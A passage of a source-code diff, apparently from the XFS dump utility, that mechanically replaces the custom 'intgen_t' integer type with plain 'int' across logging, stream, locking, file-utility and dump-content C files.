)timeout ); if ( timeout == 0 ) { continue; } @@ -835,7 +835,7 @@ main( int argc, char *argv[] ) statline[ i ] ); } } - ( void )alarm( ( u_intgen_t )( progrpt_deadline + ( void )alarm( ( u_int )( progrpt_deadline - now )); } @@ -1112,22 +1112,22 @@ preemptchk( int flg ) /* definition of locally defined static functions ****************************/ static bool_t -loadoptfile( intgen_t *argcp, char ***argvp ) +loadoptfile( int *argcp, char ***argvp ) { char *optfilename; ix_t optfileix = 0; - intgen_t fd; + int fd; size_t sz; - intgen_t i; + int i; struct stat64 stat; char *argbuf; char *p; size_t tokencnt; - intgen_t nread; + int nread; const char *sep = " \t\n\r"; char **newargv; - intgen_t c; - intgen_t rval; + int c; + int rval; /* see if option specified */ @@ -1202,7 +1202,7 @@ loadoptfile( intgen_t *argcp, char ***argvp ) */ sz = 0; for ( i = 0 ; i < *argcp ; i++ ) { - if ( i == ( intgen_t )optfileix ) { + if ( i == ( int )optfileix ) { i++; /* to skip option argument */ continue; } @@ -1246,7 +1246,7 @@ loadoptfile( intgen_t *argcp, char ***argvp ) /* copy the remaining command line args into the buffer */ for ( ; i < *argcp ; i++ ) { - if ( i == ( intgen_t )optfileix ) { + if ( i == ( int )optfileix ) { i++; /* to skip option argument */ continue; } @@ -1262,7 +1262,7 @@ loadoptfile( intgen_t *argcp, char ***argvp ) /* change newlines and carriage returns into spaces */ for ( p = argbuf ; *p ; p++ ) { - if ( strchr( "\n\r", ( intgen_t )( *p ))) { + if ( strchr( "\n\r", ( int )( *p ))) { *p = ' '; } } @@ -1274,7 +1274,7 @@ loadoptfile( intgen_t *argcp, char ***argvp ) for ( ; ; ) { /* start at the first non-separator character */ - while ( *p && strchr( sep, ( intgen_t )( *p ))) { + while ( *p && strchr( sep, ( int )( *p ))) { p++; } @@ -1320,7 +1320,7 @@ loadoptfile( intgen_t *argcp, char ***argvp ) /* start at the first non-separator character */ - while ( *p && strchr( sep, ( intgen_t )*p )) { + while ( *p && strchr( sep, ( int )*p )) { p++; } @@ -1332,7 +1332,7 @@ loadoptfile( intgen_t *argcp, char ***argvp ) /* better not disagree with counting scan! */ - assert( i < ( intgen_t )tokencnt ); + assert( i < ( int )tokencnt ); /* find the end of the first token */ @@ -1364,7 +1364,7 @@ loadoptfile( intgen_t *argcp, char ***argvp ) /* return new argc anr argv */ close( fd ); - *argcp = ( intgen_t )tokencnt; + *argcp = ( int )tokencnt; *argvp = newargv; return BOOL_TRUE; } @@ -1382,7 +1382,7 @@ sighandler( int signo ) /* if in pipeline, don't do anything risky. just quit. */ if ( pipeline ) { - intgen_t rval; + int rval; mlog( MLOG_TRACE | MLOG_NOTE | MLOG_NOLOCK | MLOG_PROC, _("received signal %d (%s): cleanup and exit\n"), @@ -1433,7 +1433,7 @@ static int childmain( void *arg1 ) { ix_t stix; - intgen_t exitcode; + int exitcode; drive_t *drivep; /* Determine which stream I am. @@ -1519,7 +1519,7 @@ sigint_dialog( void ) size_t allix; size_t nochangeix; size_t responseix; - intgen_t ssselected = 0; + int ssselected = 0; bool_t stop_requested = BOOL_FALSE; /* preamble: the content status line, indicate if interrupt happening @@ -1661,7 +1661,7 @@ sigint_dialog( void ) ssselected = -1; ackstr[ ackcnt++ ] = _("all subsystems selected\n\n"); } else { - ssselected = ( intgen_t )responseix; + ssselected = ( int )responseix; ackstr[ ackcnt++ ] = "\n"; } dlog_multi_ack( ackstr, @@ -1721,11 +1721,11 @@ sigint_dialog( void ) ; ssix++ ) { mlog_level_ss[ ssix ] = - ( intgen_t )responseix; + ( int )responseix; } } else { mlog_level_ss[ ssselected ] = - ( intgen_t )responseix; + ( int )responseix; } ackstr[ ackcnt++ ] = _("level changed\n"); } @@ -1888,7 +1888,7 @@ sigint_dialog( void ) ncix, /* sigquit ix */ okix ); if ( responseix == okix ) { - intgen_t newinterval; + int newinterval; newinterval = atoi( buf ); if ( ! strlen( buf )) { ackstr[ ackcnt++ ] = _("no change\n"); @@ -1982,11 +1982,11 @@ sigint_dialog( void ) static char * sigintstr( void ) { - intgen_t ttyfd; + int ttyfd; static char buf[ 20 ]; struct termios termios; cc_t intchr; - intgen_t rval; + int rval; ttyfd = dlog_fd( ); if ( ttyfd == -1 ) { @@ -2034,7 +2034,7 @@ set_rlimits( size64_t *vmszp ) size64_t vmsz; #endif /* RESTORE */ /* REFERENCED */ - intgen_t rval; + int rval; assert( minstacksz <= maxstacksz ); @@ -2203,7 +2203,7 @@ set_rlimits( size64_t *vmszp ) } struct sig_printmap { - intgen_t num; + int num; char *string; }; @@ -2240,7 +2240,7 @@ static sig_printmap_t sig_printmap[ ] = { }; static char * -sig_numstring( intgen_t num ) +sig_numstring( int num ) { sig_printmap_t *p = sig_printmap; sig_printmap_t *endp = sig_printmap @@ -2291,7 +2291,7 @@ strpbrkquotes( char *p, const char *sep ) } if ( ! inquotes ) { - if ( strchr( sep, ( intgen_t )( *p ))) { + if ( strchr( sep, ( int )( *p ))) { return p; } } diff --git a/common/media.c b/common/media.c index 7d17405..fceb78d 100644 --- a/common/media.c +++ b/common/media.c @@ -89,7 +89,7 @@ media_create( int argc, char *argv[ ], drive_strategy_t *dsp ) / sizeof( strategyp[ 0 ] ); media_strategy_t *chosen_sp; - intgen_t id; + int id; bool_t ok; /* sanity check asserts diff --git a/common/mlog.c b/common/mlog.c index 1fef185..fd21c18 100644 --- a/common/mlog.c +++ b/common/mlog.c @@ -54,15 +54,15 @@ static FILE *mlog_fp = NULL; /* stderr */; static FILE *mlog_fp = NULL; /* stdout */; #endif /* RESTORE */ -intgen_t mlog_level_ss[ MLOG_SS_CNT ]; +int mlog_level_ss[ MLOG_SS_CNT ]; -intgen_t mlog_showlevel = BOOL_FALSE; +int mlog_showlevel = BOOL_FALSE; -intgen_t mlog_showss = BOOL_FALSE; +int mlog_showss = BOOL_FALSE; -intgen_t mlog_timestamp = BOOL_FALSE; +int mlog_timestamp = BOOL_FALSE; -static intgen_t mlog_sym_lookup( char * ); +static int mlog_sym_lookup( char * ); static size_t mlog_streamcnt; @@ -84,7 +84,7 @@ static char mlog_tsstr[ 10 ]; struct mlog_sym { char *sym; - intgen_t level; + int level; }; typedef struct mlog_sym mlog_sym_t; @@ -146,13 +146,13 @@ mlog_init0( void ) } bool_t -mlog_init1( intgen_t argc, char *argv[ ] ) +mlog_init1( int argc, char *argv[ ] ) { char **suboptstrs; ix_t ssix; ix_t soix; size_t vsymcnt; - intgen_t c; + int c; /* prepare an array of suboption token strings. this will be the * concatenation of the subsystem names with the verbosity symbols. @@ -200,7 +200,7 @@ mlog_init1( intgen_t argc, char *argv[ ] ) } options = optarg; while ( *options ) { - intgen_t suboptix; + int suboptix; char *valstr; suboptix = getsubopt( &options, @@ -343,9 +343,9 @@ mlog_unlock( void ) * too much output. */ void -mlog_override_level( intgen_t levelarg ) +mlog_override_level( int levelarg ) { - intgen_t level; + int level; ix_t ss; /* SubSystem */ level = levelarg & MLOG_LEVELMASK; @@ -362,7 +362,7 @@ mlog_override_level( intgen_t levelarg ) } void -mlog( intgen_t levelarg, char *fmt, ... ) +mlog( int levelarg, char *fmt, ... ) { va_list args; va_start( args, fmt ); @@ -371,9 +371,9 @@ mlog( intgen_t levelarg, char *fmt, ... ) } void -mlog_va( intgen_t levelarg, char *fmt, va_list args ) +mlog_va( int levelarg, char *fmt, va_list args ) { - intgen_t level; + int level; ix_t ss; level = levelarg & MLOG_LEVELMASK; @@ -389,7 +389,7 @@ mlog_va( intgen_t levelarg, char *fmt, va_list args ) } if ( ! ( levelarg & MLOG_BARE )) { - intgen_t streamix; + int streamix; streamix = stream_getix( pthread_self( ) ); if ( mlog_showss ) { @@ -419,7 +419,7 @@ mlog_va( intgen_t levelarg, char *fmt, va_list args ) mlog_levelstr[ 1 ] = ( char ) ( level + - ( intgen_t )'0' ); + ( int )'0' ); } } else { mlog_levelstr[ 0 ] = 0; @@ -609,7 +609,7 @@ _mlog_exit( const char *file, int line, int exit_code, rv_t rv ) else { stream_state_t states[] = { S_RUNNING }; stream_state_t state; - intgen_t streamix; + int streamix; int exit_code; rv_t exit_return, exit_hint; @@ -726,7 +726,7 @@ mlog_exit_flush(void) for (i = 0; i < ntids; i++) { stream_state_t state; - intgen_t streamix; + int streamix; int exit_code; rv_t exit_return, exit_hint; /* REFERENCED */ @@ -786,7 +786,7 @@ mlog_exit_flush(void) fflush(mlog_fp); } -static intgen_t +static int mlog_sym_lookup( char *sym ) { mlog_sym_t *p = mlog_sym; diff --git a/common/mlog.h b/common/mlog.h index ce143bd..d7bbfce 100644 --- a/common/mlog.h +++ b/common/mlog.h @@ -80,13 +80,13 @@ /* mlog_level - set during initialization, exported to facilitate * message logging decisions. one per subsystem (see above) */ -extern intgen_t mlog_level_ss[ MLOG_SS_CNT ]; +extern int mlog_level_ss[ MLOG_SS_CNT ]; /* made external so main.c sigint dialog can change */ -extern intgen_t mlog_showlevel; -extern intgen_t mlog_showss; -extern intgen_t mlog_timestamp; +extern int mlog_showlevel; +extern int mlog_showss; +extern int mlog_timestamp; /* mlog_ss_name - so main.c sigint dialog can allow changes */ @@ -96,7 +96,7 @@ extern char *mlog_ss_names[ MLOG_SS_CNT ]; * unravel some initialization sequencing problems. */ extern void mlog_init0( void ); -extern bool_t mlog_init1( intgen_t argc, char *argv[ ] ); +extern bool_t mlog_init1( int argc, char *argv[ ] ); extern bool_t mlog_init2( void ); /* post-initialization, to tell mlog how many streams @@ -105,12 +105,12 @@ extern void mlog_tell_streamcnt( size_t streamcnt ); /* override the -v option */ -void mlog_override_level( intgen_t levelarg ); +void mlog_override_level( int levelarg ); /* vprintf-based message format */ -extern void mlog( intgen_t level, char *fmt, ... ); -extern void mlog_va( intgen_t levelarg, char *fmt, va_list args ); +extern void mlog( int level, char *fmt, ... ); +extern void mlog_va( int levelarg, char *fmt, va_list args ); #define mlog_exit( e, r ) _mlog_exit( __FILE__, __LINE__, (e), (r) ) extern int _mlog_exit( const char *file, int line, int exit_code, rv_t return_code ); #define mlog_exit_hint( r ) _mlog_exit_hint( __FILE__, __LINE__, (r) ) diff --git a/common/openutil.c b/common/openutil.c index 9df42ae..6cc0efa 100644 --- a/common/openutil.c +++ b/common/openutil.c @@ -73,10 +73,10 @@ open_pathalloc( char *dirname, char *basename, pid_t pid ) return namebuf; } -intgen_t +int open_trwp( char *pathname ) { - intgen_t fd; + int fd; fd = open( pathname, O_CREAT | O_TRUNC | O_RDWR, S_IRUSR | S_IWUSR ); if ( fd < 0 ) { @@ -89,10 +89,10 @@ open_trwp( char *pathname ) return fd; } -intgen_t +int open_erwp( char *pathname ) { - intgen_t fd; + int fd; fd = open( pathname, O_EXCL | O_CREAT | O_RDWR, S_IRUSR | S_IWUSR ); if ( fd < 0 ) { @@ -105,31 +105,31 @@ open_erwp( char *pathname ) return fd; } -intgen_t +int open_rwp( char *pathname ) { - intgen_t fd; + int fd; fd = open( pathname, O_RDWR ); return fd; } -intgen_t +int mkdir_tp( char *pathname ) { - intgen_t rval; + int rval; rval = mkdir( pathname, S_IRWXU ); return rval; } -intgen_t +int open_trwdb( char *dirname, char *basename, pid_t pid ) { char *pathname; - intgen_t fd; + int fd; pathname = open_pathalloc( dirname, basename, pid ); fd = open_trwp( pathname ); @@ -138,11 +138,11 @@ open_trwdb( char *dirname, char *basename, pid_t pid ) return fd; } -intgen_t +int open_erwdb( char *dirname, char *basename, pid_t pid ) { char *pathname; - intgen_t fd; + int fd; pathname = open_pathalloc( dirname, basename, pid ); fd = open_erwp( pathname ); @@ -151,11 +151,11 @@ open_erwdb( char *dirname, char *basename, pid_t pid ) return fd; } -intgen_t +int open_rwdb( char *dirname, char *basename, pid_t pid ) { char *pathname; - intgen_t fd; + int fd; pathname = open_pathalloc( dirname, basename, pid ); fd = open_rwp( pathname ); diff --git a/common/openutil.h b/common/openutil.h index c00233d..587462c 100644 --- a/common/openutil.h +++ b/common/openutil.h @@ -35,28 +35,28 @@ extern char *open_pathalloc( char *dirname, char *basename, pid_t pid ); * return the file descriptor, or -1 with errno set. uses mlog( MLOG_NORMAL... * if the creation fails. */ -extern intgen_t open_trwdb( char *dirname, char *basename, pid_t pid ); -extern intgen_t open_trwp( char *pathname ); +extern int open_trwdb( char *dirname, char *basename, pid_t pid ); +extern int open_trwp( char *pathname ); /* open the specified file, with read and write permissions, given a * directory and base.* return the file descriptor, or -1 with errno set. * uses mlog( MLOG_NORMAL... if the open fails. */ -extern intgen_t open_rwdb( char *dirname, char *basename, pid_t pid ); -extern intgen_t open_rwp( char *pathname ); +extern int open_rwdb( char *dirname, char *basename, pid_t pid ); +extern int open_rwp( char *pathname ); /* create and open the specified file, failing if already exists */ -extern intgen_t open_erwp( char *pathname ); -extern intgen_t open_erwdb( char *dirname, char *basename, pid_t pid ); +extern int open_erwp( char *pathname ); +extern int open_erwdb( char *dirname, char *basename, pid_t pid ); /* create the specified directory, guaranteed to be initially empty. returns * 0 on success, -1 if trouble. uses mlog( MLOG_NORMAL... if the creation fails. */ -extern intgen_t mkdir_tp( char *pathname ); +extern int mkdir_tp( char *pathname ); #endif /* UTIL_H */ diff --git a/common/qlock.c b/common/qlock.c index 1b466d6..0583a63 100644 --- a/common/qlock.c +++ b/common/qlock.c @@ -106,7 +106,7 @@ qlock_lock( qlockh_t qlockh ) qlock_t *qlockp = ( qlock_t * )qlockh; pthread_t tid; /* REFERENCED */ - intgen_t rval; + int rval; /* get the caller's tid */ @@ -149,7 +149,7 @@ qlock_unlock( qlockh_t qlockh ) { qlock_t *qlockp = ( qlock_t * )qlockh; /* REFERENCED */ - intgen_t rval; + int rval; /* verify lock is held by this thread */ @@ -169,7 +169,7 @@ qsemh_t qsem_alloc( ix_t cnt ) { sem_t *semp; - intgen_t rval; + int rval; /* allocate a semaphore */ @@ -188,7 +188,7 @@ void qsem_free( qsemh_t qsemh ) { sem_t *semp = ( sem_t * )qsemh; - intgen_t rval; + int rval; /* destroy the mutex and condition */ @@ -204,7 +204,7 @@ void qsemP( qsemh_t qsemh ) { sem_t *semp = ( sem_t * )qsemh; - intgen_t rval; + int rval; /* "P" the semaphore */ @@ -216,7 +216,7 @@ void qsemV( qsemh_t qsemh ) { sem_t *semp = ( sem_t * )qsemh; - intgen_t rval; + int rval; /* "V" the semaphore */ @@ -229,7 +229,7 @@ qsemPwouldblock( qsemh_t qsemh ) { sem_t *semp = ( sem_t * )qsemh; int count; - intgen_t rval; + int rval; rval = sem_getvalue( semp, &count ); assert( !rval ); @@ -242,7 +242,7 @@ qsemPavail( qsemh_t qsemh ) { sem_t *semp = ( sem_t * )qsemh; int count; - intgen_t rval; + int rval; rval = sem_getvalue( semp, &count ); assert( !rval ); diff --git a/common/ring.c b/common/ring.c index 37a2d1d..bb90901 100644 --- a/common/ring.c +++ b/common/ring.c @@ -46,7 +46,7 @@ ring_create( size_t ringlen, int ( *readfunc )( void *clientctxp, char *bufp ), int ( *writefunc )( void *clientctxp, char *bufp ), void *clientctxp, - intgen_t *rvalp ) + int *rvalp ) { bool_t ok; ring_t *ringp; @@ -107,7 +107,7 @@ ring_create( size_t ringlen, return 0; } if ( pinpr ) { - intgen_t rval; + int rval; rval = mlock( ( void * )msgp->rm_bufp, bufsz ); if ( rval ) { if ( errno == ENOMEM ) { diff --git a/common/ring.h b/common/ring.h index caa505c..4a1cc54 100644 --- a/common/ring.h +++ b/common/ring.h @@ -113,7 +113,7 @@ typedef enum ring_loc ring_loc_t; struct ring_msg { ring_op_t rm_op; ring_stat_t rm_stat; - intgen_t rm_rval; + int rm_rval; off64_t rm_user; char *rm_bufp; /* ALL BELOW PRIVATE!!! */ @@ -171,7 +171,7 @@ extern ring_t *ring_create( size_t ringlen, int ( * readfunc )( void *clientctxp, char *bufp ), int ( * writefunc )( void *clientctxp, char *bufp ), void *clientctxp, - intgen_t *rvalp ); + int *rvalp ); /* ring_get - get a message off the ready queue diff --git a/common/stream.c b/common/stream.c index 90d315a..549bf59 100644 --- a/common/stream.c +++ b/common/stream.c @@ -36,7 +36,7 @@ struct spm { stream_state_t s_state; pthread_t s_tid; - intgen_t s_ix; + int s_ix; int s_exit_code; rv_t s_exit_return; rv_t s_exit_hint; @@ -64,7 +64,7 @@ stream_init( void ) */ void -stream_register( pthread_t tid, intgen_t streamix ) +stream_register( pthread_t tid, int streamix ) { spm_t *p = spm; spm_t *ep = spm + N(spm); @@ -187,12 +187,12 @@ stream_find( pthread_t tid, stream_state_t s[], int nstates ) * another lock. So no locking is done in this function. */ -intgen_t +int stream_getix( pthread_t tid ) { stream_state_t states[] = { S_RUNNING }; spm_t *p; - intgen_t ix; + int ix; p = stream_find( tid, states, N(states) ); ix = p ? p->s_ix : -1; return ix; @@ -246,7 +246,7 @@ stream_get_exit_status( pthread_t tid, stream_state_t states[], int nstates, stream_state_t *state, - intgen_t *ix, + int *ix, int *exit_code, rv_t *exit_return, rv_t *exit_hint) diff --git a/common/stream.h b/common/stream.h index 4b3799f..a83a5a5 100644 --- a/common/stream.h +++ b/common/stream.h @@ -42,7 +42,7 @@ typedef enum { S_FREE, S_RUNNING, S_ZOMBIE } stream_state_t; extern void stream_init( void ); -extern void stream_register( pthread_t tid, intgen_t streamix ); +extern void stream_register( pthread_t tid, int streamix ); /* NOTE: lock() must be held when calling stream_dead */ extern void stream_dead( pthread_t tid ); extern void stream_free( pthread_t tid ); @@ -50,7 +50,7 @@ extern int stream_find_all( stream_state_t states[], int nstates, pthread_t tids[], int ntids ); -extern intgen_t stream_getix( pthread_t tid ); +extern int stream_getix( pthread_t tid ); extern void stream_set_code( pthread_t tid, int code ); extern void stream_set_return( pthread_t tid, rv_t rv ); extern void stream_set_hint( pthread_t tid, rv_t rv ); @@ -59,7 +59,7 @@ extern bool_t stream_get_exit_status( pthread_t tid, stream_state_t states[], int nstates, stream_state_t *state, - intgen_t *ix, + int *ix, int *exit_code, rv_t *exit_return, rv_t *exit_hint); diff --git a/common/types.h b/common/types.h index 9d3606a..9afb3a7 100644 --- a/common/types.h +++ b/common/types.h @@ -38,7 +38,7 @@ typedef u_int32_t size32_t; typedef u_int64_t size64_t; typedef char char_t; typedef unsigned char u_char_t; -typedef unsigned int u_intgen_t; +typedef unsigned int u_int; typedef long long_t; typedef unsigned long u_long_t; typedef size_t ix_t; @@ -70,8 +70,8 @@ typedef int32_t time32_t; #define SIZE64MAX MKUMAX( size64_t ) #define INO64MAX MKUMAX( xfs_ino_t ) #define OFF64MAX MKSMAX( off64_t ) -#define INTGENMAX MKSMAX( intgen_t ) -#define UINTGENMAX MKUMAX( u_intgen_t ) +#define INTGENMAX MKSMAX( int ) +#define UINTGENMAX MKUMAX( u_int ) #define OFFMAX MKSMAX( off_t ) #define SIZEMAX MKUMAX( size_t ) #define IXMAX MKUMAX( size_t ) diff --git a/common/util.c b/common/util.c index af48162..93dd9c8 100644 --- a/common/util.c +++ b/common/util.c @@ -39,7 +39,7 @@ extern size_t pgsz; -intgen_t +int write_buf( char *bufp, size_t bufsz, void *contextp, @@ -73,17 +73,17 @@ write_buf( char *bufp, return 0; } -intgen_t +int read_buf( char *bufp, size_t bufsz, void *contextp, rfp_t read_funcp, rrbfp_t return_read_buf_funcp, - intgen_t *statp ) + int *statp ) { char *mbufp; /* manager's buffer pointer */ size_t mbufsz; /* size of manager's buffer */ - intgen_t nread; + int nread; nread = 0; *statp = 0; @@ -98,7 +98,7 @@ read_buf( char *bufp, bufp += mbufsz; } bufsz -= mbufsz; - nread += ( intgen_t )mbufsz; + nread += ( int )mbufsz; ( * return_read_buf_funcp )( contextp, mbufp, mbufsz ); } @@ -116,24 +116,24 @@ char return rval; } -intgen_t +int bigstat_iter( jdm_fshandle_t *fshandlep, - intgen_t fsfd, - intgen_t selector, + int fsfd, + int selector, xfs_ino_t start_ino, bstat_cbfp_t fp, void * cb_arg1, bstat_seekfp_t seekfp, void * seek_arg1, - intgen_t *statp, + int *statp, bool_t ( pfp )( int ), xfs_bstat_t *buf, size_t buflenin ) { __s32 buflenout; xfs_ino_t lastino; - intgen_t saved_errno; - intgen_t bulkstatcnt; + int saved_errno; + int bulkstatcnt; xfs_fsop_bulkreq_t bulkreq; /* stat set with return from callback func @@ -178,7 +178,7 @@ bigstat_iter( jdm_fshandle_t *fshandlep, buflenout, buf->bs_ino ); for ( p = buf, endp = buf + buflenout ; p < endp ; p++ ) { - intgen_t rval; + int rval; if ( p->bs_ino == 0 ) continue; @@ -253,13 +253,13 @@ bigstat_iter( jdm_fshandle_t *fshandlep, } /* ARGSUSED */ -intgen_t -bigstat_one( intgen_t fsfd, +int +bigstat_one( int fsfd, xfs_ino_t ino, xfs_bstat_t *statp ) { xfs_fsop_bulkreq_t bulkreq; - intgen_t count = 0; + int count = 0; assert( ino > 0 ); bulkreq.lastip = (__u64 *)&ino; @@ -272,16 +272,16 @@ bigstat_one( intgen_t fsfd, /* call the given callback for each inode group in the filesystem. */ #define INOGRPLEN 256 -intgen_t -inogrp_iter( intgen_t fsfd, - intgen_t ( * fp )( void *arg1, - intgen_t fsfd, +int +inogrp_iter( int fsfd, + int ( * fp )( void *arg1, + int fsfd, xfs_inogrp_t *inogrp ), void * arg1, - intgen_t *statp ) + int *statp ) { xfs_ino_t lastino; - intgen_t inogrpcnt; + int inogrpcnt; xfs_inogrp_t *igrp; xfs_fsop_bulkreq_t bulkreq; @@ -311,7 +311,7 @@ inogrp_iter( intgen_t fsfd, return 0; } for ( p = igrp, endp = igrp + inogrpcnt ; p < endp ; p++ ) { - intgen_t rval; + int rval; rval = ( * fp )( arg1, fsfd, p ); if ( rval ) { @@ -338,26 +338,26 @@ inogrp_iter( intgen_t fsfd, * * caller may supply a dirent buffer. if not, will malloc one */ -intgen_t +int diriter( jdm_fshandle_t *fshandlep, - intgen_t fsfd, + int fsfd, xfs_bstat_t *statp, - intgen_t ( *cbfp )( void *arg1, + int ( *cbfp )( void *arg1, jdm_fshandle_t *fshandlep, - intgen_t fsfd, + int fsfd, xfs_bstat_t *statp, char *namep ), void *arg1, - intgen_t *cbrvalp, + int *cbrvalp, char *usrgdp, size_t usrgdsz ) { size_t gdsz; struct dirent *gdp; - intgen_t fd; - intgen_t gdcnt; - intgen_t scrval; - intgen_t cbrval; + int fd; + int gdcnt; + int scrval; + int cbrval; if ( usrgdp ) { assert( usrgdsz >= sizeof( struct dirent ) ); @@ -392,7 +392,7 @@ diriter( jdm_fshandle_t *fshandlep, cbrval = 0; for ( gdcnt = 1 ; ; gdcnt++ ) { struct dirent *p; - intgen_t nread; + int nread; register size_t reclen; assert( scrval == 0 ); @@ -426,7 +426,7 @@ diriter( jdm_fshandle_t *fshandlep, ; nread > 0 ; - nread -= ( intgen_t )reclen, + nread -= ( int )reclen, assert( nread >= 0 ), p = ( struct dirent * )( ( char * )p + reclen ), reclen = ( size_t )p->d_reclen ) { diff --git a/common/util.h b/common/util.h index 8ac1831..5284811 100644 --- a/common/util.h +++ b/common/util.h @@ -33,9 +33,9 @@ * if bufp is null, writes bufsz zeros. */ typedef char * ( * gwbfp_t )( void *contextp, size_t wantedsz, size_t *szp); -typedef intgen_t ( * wfp_t )( void *contextp, char *bufp, size_t bufsz ); +typedef int ( * wfp_t )( void *contextp, char *bufp, size_t bufsz ); -extern intgen_t write_buf( char *bufp, +extern int write_buf( char *bufp, size_t bufsz, void *contextp, gwbfp_t get_write_buf_funcp, @@ -56,15 +56,15 @@ extern intgen_t write_buf( char *bufp, * status of the first failure of the read funcp. if no read failures occur, * *statp will be zero. */ -typedef char * ( *rfp_t )( void *contextp, size_t wantedsz, size_t *szp, intgen_t *statp ); +typedef char * ( *rfp_t )( void *contextp, size_t wantedsz, size_t *szp, int *statp ); typedef void ( * rrbfp_t )( void *contextp, char *bufp, size_t bufsz ); -extern intgen_t read_buf( char *bufp, +extern int read_buf( char *bufp, size_t bufsz, void *contextp, rfp_t read_funcp, rrbfp_t return_read_buf_funcp, - intgen_t *statp ); + int *statp ); @@ -84,37 +84,37 @@ extern char *strncpyterm( char *s1, char *s2, size_t n ); #define BIGSTAT_ITER_NONDIR ( 1 << 1 ) #define BIGSTAT_ITER_ALL ( ~0 ) -typedef intgen_t (*bstat_cbfp_t)(void *arg1, +typedef int (*bstat_cbfp_t)(void *arg1, jdm_fshandle_t *fshandlep, - intgen_t fsfd, + int fsfd, xfs_bstat_t *statp ); typedef xfs_ino_t (*bstat_seekfp_t)(void *arg1, xfs_ino_t lastino); -extern intgen_t bigstat_iter( jdm_fshandle_t *fshandlep, - intgen_t fsfd, - intgen_t selector, +extern int bigstat_iter( jdm_fshandle_t *fshandlep, + int fsfd, + int selector, xfs_ino_t start_ino, bstat_cbfp_t fp, void * cb_arg1, bstat_seekfp_t seekfp, void * seek_arg1, - intgen_t *statp, + int *statp, bool_t ( pfp )( int ), /* preemption chk func */ xfs_bstat_t *buf, size_t buflen ); -extern intgen_t bigstat_one( intgen_t fsfd, +extern int bigstat_one( int fsfd, xfs_ino_t ino, xfs_bstat_t *statp ); -extern intgen_t inogrp_iter( intgen_t fsfd, - intgen_t ( * fp )( void *arg1, - intgen_t fsfd, +extern int inogrp_iter( int fsfd, + int ( * fp )( void *arg1, + int fsfd, xfs_inogrp_t *inogrp ), void * arg1, - intgen_t *statp ); + int *statp ); /* calls the callback for every entry in the directory specified * by the stat buffer. supplies the callback with a file system @@ -129,16 +129,16 @@ extern intgen_t inogrp_iter( intgen_t fsfd, * callback's return value. if syscall fails, returns -1 with errno set. * otherwise returns 0. */ -extern intgen_t diriter( jdm_fshandle_t *fshandlep, - intgen_t fsfd, +extern int diriter( jdm_fshandle_t *fshandlep, + int fsfd, xfs_bstat_t *statp, - intgen_t ( *cbfp )( void *arg1, + int ( *cbfp )( void *arg1, jdm_fshandle_t *fshandlep, - intgen_t fsfd, + int fsfd, xfs_bstat_t *statp, char *namep ), void *arg1, - intgen_t *cbrvalp, + int *cbrvalp, char *usrgdp, size_t usrgdsz ); diff --git a/dump/content.c b/dump/content.c index 5d630bb..00a7bad 100644 --- a/dump/content.c +++ b/dump/content.c @@ -199,9 +199,9 @@ struct extent_group_context { getbmapx_t eg_bmap[ BMAP_LEN ]; getbmapx_t *eg_nextbmapp; /* ptr to the next extent to dump */ getbmapx_t *eg_endbmapp; /* to detect extent exhaustion */ - intgen_t eg_fd; /* file desc. */ - intgen_t eg_bmapix; /* debug info only, not used */ - intgen_t eg_gbmcnt; /* debug, counts getbmapx calls for ino*/ + int eg_fd; /* file desc. */ + int eg_bmapix; /* debug info only, not used */ + int eg_gbmcnt; /* debug, counts getbmapx calls for ino*/ }; typedef struct extent_group_context extent_group_context_t; @@ -266,11 +266,11 @@ static rv_t dump_dirs( ix_t strmix, void *inomap_contextp ); static rv_t dump_dir( ix_t strmix, jdm_fshandle_t *, - intgen_t, + int, xfs_bstat_t * ); static rv_t dump_file( void *, jdm_fshandle_t *, - intgen_t, + int, xfs_bstat_t * ); static rv_t dump_file_reg( drive_t *drivep, context_t *contextp, @@ -286,7 +286,7 @@ static rv_t dump_filehdr( drive_t *drivep, context_t *contextp, xfs_bstat_t *, off64_t, - intgen_t ); + int ); static rv_t dump_extenthdr( drive_t *drivep, context_t *contextp, int32_t, @@ -336,7 +336,7 @@ static rv_t Media_mfile_end( drive_t *drivep, bool_t hit_eom ); static bool_t Media_prompt_overwrite( drive_t *drivep ); static rv_t Media_erasechk( drive_t *drivep, - intgen_t dcaps, + int dcaps, bool_t intr_allowed, bool_t prevmediapresentpr ); static bool_t Media_prompt_erase( drive_t *drivep ); @@ -511,7 +511,7 @@ static bool_t create_inv_session( size_t strmix); bool_t -content_init( intgen_t argc, +content_init( int argc, char *argv[ ], global_hdr_t *gwhdrtemplatep ) { @@ -544,10 +544,10 @@ content_init( intgen_t argc, bool_t samepartialpr = BOOL_FALSE; bool_t sameinterruptedpr = BOOL_FALSE; size_t strmix; - intgen_t c; - intgen_t i; - intgen_t qstat; - intgen_t rval; + int c; + int i; + int qstat; + int rval; bool_t ok; extern char *optarg; extern int optind, opterr, optopt; @@ -1905,7 +1905,7 @@ create_inv_session( ix_t subtreecnt, size_t strmix) { - intgen_t rval; + int rval; char *qmntpnt; char *qfsdevice; @@ -2086,7 +2086,7 @@ mark_callback( void *p, drive_markrec_t *dmp, bool_t committed ) /* begin - called by stream process to invoke the dump stream */ -intgen_t +int content_stream_dump( ix_t strmix ) { context_t *contextp = &sc_contextp[ strmix ]; @@ -2103,7 +2103,7 @@ content_stream_dump( ix_t strmix ) inv_stmtoken_t inv_stmt; xfs_bstat_t *bstatbufp; const size_t bstatbuflen = BSTATBUFLEN; - intgen_t rval; + int rval; rv_t rv; /* sanity checks @@ -2368,7 +2368,7 @@ content_stream_dump( ix_t strmix ) ( void * )strmix, inomap_next_nondir, inomap_contextp, - ( intgen_t * )&rv, + ( int * )&rv, pipeline ? (bool_t (*)(int))preemptchk : 0, bstatbufp, @@ -2563,7 +2563,7 @@ decision_more: ok = inv_put_mediafile( inv_stmt, &mwhdrp->mh_mediaid, mwhdrp->mh_medialabel, - ( u_intgen_t )mwhdrp->mh_mediafileix, + ( u_int )mwhdrp->mh_mediafileix, startino, startoffset, scwhdrp->cih_startpt.sp_ino, @@ -2652,7 +2652,7 @@ content_complete( void ) { time_t elapsed; bool_t completepr; - intgen_t i; + int i; completepr = check_complete_flags( ); @@ -2769,7 +2769,7 @@ content_mediachange_query( void ) static void update_cc_Media_useterminatorpr( drive_t *drivep, context_t *contextp ) { - intgen_t dcaps = drivep->d_capabilities; + int dcaps = drivep->d_capabilities; contextp->cc_Media_useterminatorpr = BOOL_TRUE; if ( ! ( dcaps & DRIVE_CAP_FILES )) { @@ -2805,7 +2805,7 @@ dump_dirs( ix_t strmix, xfs_bstat_t *p; xfs_bstat_t *endp; __s32 buflenout; - intgen_t 